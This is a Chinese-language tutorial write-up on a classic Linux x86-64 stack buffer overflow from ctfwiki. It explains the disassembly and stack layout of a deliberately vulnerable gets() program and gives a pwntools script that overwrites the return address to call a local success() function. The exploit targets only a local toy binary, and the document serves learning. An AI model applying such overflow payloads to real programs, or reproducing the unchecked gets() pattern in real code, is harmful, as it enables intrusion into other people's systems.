前言
最近读了读汇编语言这本书,顺便从汇编的角度回顾一下 Linux 下的栈溢出。
测试程序
来自 ctfwiki:
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
然后编译:
gcc -no-pie -fno-stack-protector stack.c -o stack
IDA 静态分析
直接去看 vulnerable 函数的汇编代码:
.text:000000000040054A public vulnerable
.text:000000000040054A vulnerable proc near ; CODE XREF: main+14↓p
.text:000000000040054A
.text:000000000040054A s = byte ptr -0Ch
.text:000000000040054A
.text:000000000040054A ; __unwind {
.text:000000000040054A 55 push rbp
.text:000000000040054B 48 89 E5 mov rbp, rsp
.text:000000000040054E 48 83 EC 10 sub rsp, 10h
.text:0000000000400552 48 8D 45 F4 lea rax, [rbp+s]
.text:0000000000400556 48 89 C7 mov rdi, rax
.text:0000000000400559 B8 00 00 00 00 mov eax, 0
.text:000000000040055E E8 DD FE FF FF call _gets
.text:0000000000400563 48 8D 45 F4 lea rax, [rbp+s]
.text:0000000000400567 48 89 C7 mov rdi, rax ; s
.text:000000000040056A E8 C1 FE FF FF call _puts
.text:000000000040056F 90 nop
.text:0000000000400570 C9 leave
.text:0000000000400571 C3 retn
.text:0000000000400571 ; } // starts at 40054A
.text:0000000000400571 vulnerable endp
main 函数在调用 vulnerable 函数时执行的是 call 这个汇编代码,因为是 64 位程序,所以此时的栈大概是这样的情况:
0x00 返回地址/rsp指向的地方
然后执行了 push rbp,就变成了:
0x00 返回地址
-0x08 执行main函数时rbp寄存器的数据/rsp指向的地方
sub rsp, 10h:
0x00 返回地址
-0x08 执行main函数时rbp寄存器的数据
-0x18 rsp指向的地方
接下来就是准备一个地址给 gets 函数调用,这个地址在 IDA 中显示为 rbp+s,其实就是 rbp + 0xF4(补码),即rbp - 0x0c,此时:
0x00 返回地址
-0x08 执行main函数时rbp寄存器的数据
-0x14 读入字符串s的存放地址
-0x18 rsp指向的地方
栈是从高向低生长的,而读入字符串到内存则是从低向高存放的,而且 gets 函数并不会校验读入字符串的长度,所以只要控制输入字符串的长度,使其刚好覆盖返回地址,就可以控制下一段执行的代码,在这个环境中,所需的偏移即为 0x14。
顺带说一下还原 rbp 的方式,在函数返回之前,leave 会将 rbp 赋给 rsp,然后从栈中取出 rbp,就相当于:
mov rsp, rbp
pop rbp
其实就是函数最开始的两行代码的反向:
push rbp
mov rbp, rsp
虽然我们在覆盖返回地址的时候顺便也把栈里放着的 rbp 给覆盖了,但是 rbp 并不会影响之后执行的汇编代码。
最后写出的脚本:
from pwn import *
context.log_level = "debug"
target = process("./stack")
elf = ELF("./stack")
gdb.attach(proc.pidof(target)[0])
success_addr = 0x0000000000400537
payload = "T" * 0xc + "F" * 8 + p64(success_addr)
target.sendline(payload)
target.recv()
target.interactive()
target.close()
控制返回地址来调用 success 函数。
参考: